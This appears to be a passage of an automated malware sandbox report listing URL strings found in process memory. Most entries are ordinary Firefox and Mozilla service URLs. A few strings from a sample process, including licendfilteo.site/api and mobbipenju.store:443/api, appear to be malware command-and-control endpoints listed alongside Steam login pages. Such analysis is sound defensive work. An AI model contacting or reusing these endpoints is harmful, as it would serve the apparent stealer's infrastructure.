Source: firefox.exe, 0000001A.00000002.2864874573.0000014D5D703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2875484195.0000024496804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845915505.0000014D56D8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876301503.0000146A3546B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2698445320.0000014D54D6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2841860100.0000014D56984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2820566202.0000014D54D6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D584BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2743413615.0000014D5D7F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001A.00000002.2876660911.00001F7EFA104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://fb.me/react-polyfillsPO
Source: firefox.exe, 0000001A.00000002.2874630334.0000014D5F630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000003.2759777631.0000014D56429000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2760952156.0000014D5642A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2801575464.0000014D44D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2800543685.0000008B8E704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.2874630334.0000014D5F630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5524C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5524C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2852887309.0000014D5833E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5524C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D63D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://getpocket.com/read/$
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5524C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000003.2769480356.0000014D5648E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001A.00000003.2769480356.0000014D5648E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworkeri~t
Source: firefox.exe, 0000001A.00000002.2864874573.0000014D5D703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001A.00000002.2856640879.0000014D588D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001A.00000002.2856640879.0000014D588D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001A.00000002.2864874573.0000014D5D703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44D11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D58783000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000003.2749332456.0000014D5DB59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55987000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site/api
Source: dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/api
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826854859.0000014D556CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D5567E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826096429.0000014D55479000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55AC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: firefox.exe, 0000001A.00000002.2811085069.0000014D52321000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D521AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44DD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store:443/api
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806034129.0000014D51297000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.2876182868.000012A6CC804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
